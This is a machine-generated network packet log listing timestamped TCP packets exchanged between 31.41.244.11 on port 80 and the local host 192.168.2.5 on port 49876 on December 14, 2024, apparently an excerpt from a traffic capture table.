Dec 14, 2024 14:56:27.222518921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.222569942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.224858999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.224911928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.224970102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.225033045 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.227305889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.227349997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.227413893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.227463007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.229772091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.229829073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.230024099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.230083942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.232203007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.232264042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.232281923 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.232335091 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.340154886 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.340231895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.340310097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.340562105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.340989113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.341041088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.341111898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.341159105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.342981100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.343036890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.343105078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.343566895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.344922066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.345038891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.345089912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.346854925 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.346925020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.346996069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.347244978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.348748922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.348809004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.348892927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.348968029 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.350621939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.350696087 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.350712061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.350776911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.352498055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.352576017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.352632999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.352682114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.354329109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.354404926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.354454994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.354706049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.356173038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.356276035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.356331110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.357932091 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.358109951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.358170033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.359721899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.359807968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.359829903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.359919071 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.361499071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.361565113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.361618042 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.362026930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.363308907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.363374949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.363428116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.363611937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.365134001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.365246058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.365309000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.366892099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.366977930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.367048979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.368674040 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.368776083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.368838072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.370445967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.370563984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.370615959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.372317076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.372381926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.372407913 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.372560978 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.374031067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.374093056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.374150991 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.374202013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.375870943 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.376007080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.376025915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.376058102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.377732038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.377783060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.377785921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.377831936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.379383087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.379451036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.379523039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.379618883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.381258011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.381308079 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.381376982 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.381424904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.382961035 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.383009911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.383071899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.383121014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.384761095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.384819984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.384880066 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.384927034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.386564016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.386666059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.386670113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.386718035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.388360977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.388422966 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.388468981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.388642073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.390146971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.390214920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.390275955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.390342951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.391916037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.391985893 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.392081022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.392143965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.393765926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.393858910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.393858910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.393913031 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.395517111 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.395567894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.395752907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.395818949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.397269964 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.397416115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.397427082 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.397464037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.399058104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.399105072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.399152994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.399378061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.400844097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.400903940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.400932074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.400978088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.402636051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.402720928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.402756929 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.402802944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.404419899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.404474020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.404536009 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.404587030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.406203985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.406260967 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.406328917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.406378984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.408004045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.408144951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.408195019 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.409789085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.409837008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.409903049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.410094023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.411566973 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.411622047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.411703110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.411750078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.413382053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.413431883 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.413516045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.413563013 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.415148020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.415219069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.415282965 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.415376902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.416932106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.416981936 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.417020082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.417207003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.418728113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.418787003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.418842077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.418893099 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.420538902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.420574903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.420638084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.422296047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.422370911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.422441006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.422580957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.424078941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.424149036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.424197912 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.424340010 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.425872087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.425926924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.425987959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.426038027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.427669048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.427730083 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.427769899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.427818060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.429444075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.429511070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.429533005 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.429579020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.431227922 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.431296110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.431395054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.431664944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.433006048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.433058023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.433064938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.433106899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.531784058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.531847000 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.531915903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.532182932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.532526970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.532574892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.532841921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.532896996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.534040928 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.534100056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.534171104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.534210920 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.535592079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.535646915 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.535707951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.535749912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.537107944 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.537156105 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.537216902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.537264109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.538614988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.538661003 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.538747072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.538796902 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.540169001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.540219069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.540265083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.540308952 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.541591883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.541671038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.541714907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.541769981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.543118954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.543167114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.543230057 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.543278933 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.544497967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.544545889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.544605017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.544652939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.545979023 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.546014071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.546025991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.546066046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.547389030 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.547436953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.547471046 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.547524929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.548751116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.548818111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.548877954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.548926115 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.550170898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.550296068 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.550322056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.550332069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.551506996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.551553011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.551670074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.551743984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.552887917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.553008080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.553009987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.553049088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.554369926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.554430008 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.554459095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.554647923 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.555613995 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.555670023 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.555730104 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.556027889 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.556931019 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.556982994 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.557037115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.557085037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.558232069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.558288097 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.558348894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.558465004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.559571981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.559626102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.559704065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.560039043 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.560887098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.560986042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.561008930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.561055899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.562213898 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.562268972 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.562315941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.562499046 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.563568115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.563620090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.563678980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.564002991 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.564913034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.564990044 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.565026045 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.565072060 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.566203117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.566257954 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.566337109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.566437960 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.567526102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.567586899 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.567641020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.567941904 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.568927050 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.568979979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.568979979 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.569020987 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.570190907 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.570240021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.570301056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.570456982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.571522951 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.571578979 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.571599960 CET	80	49876	31.41.244.11	192.168.2.5
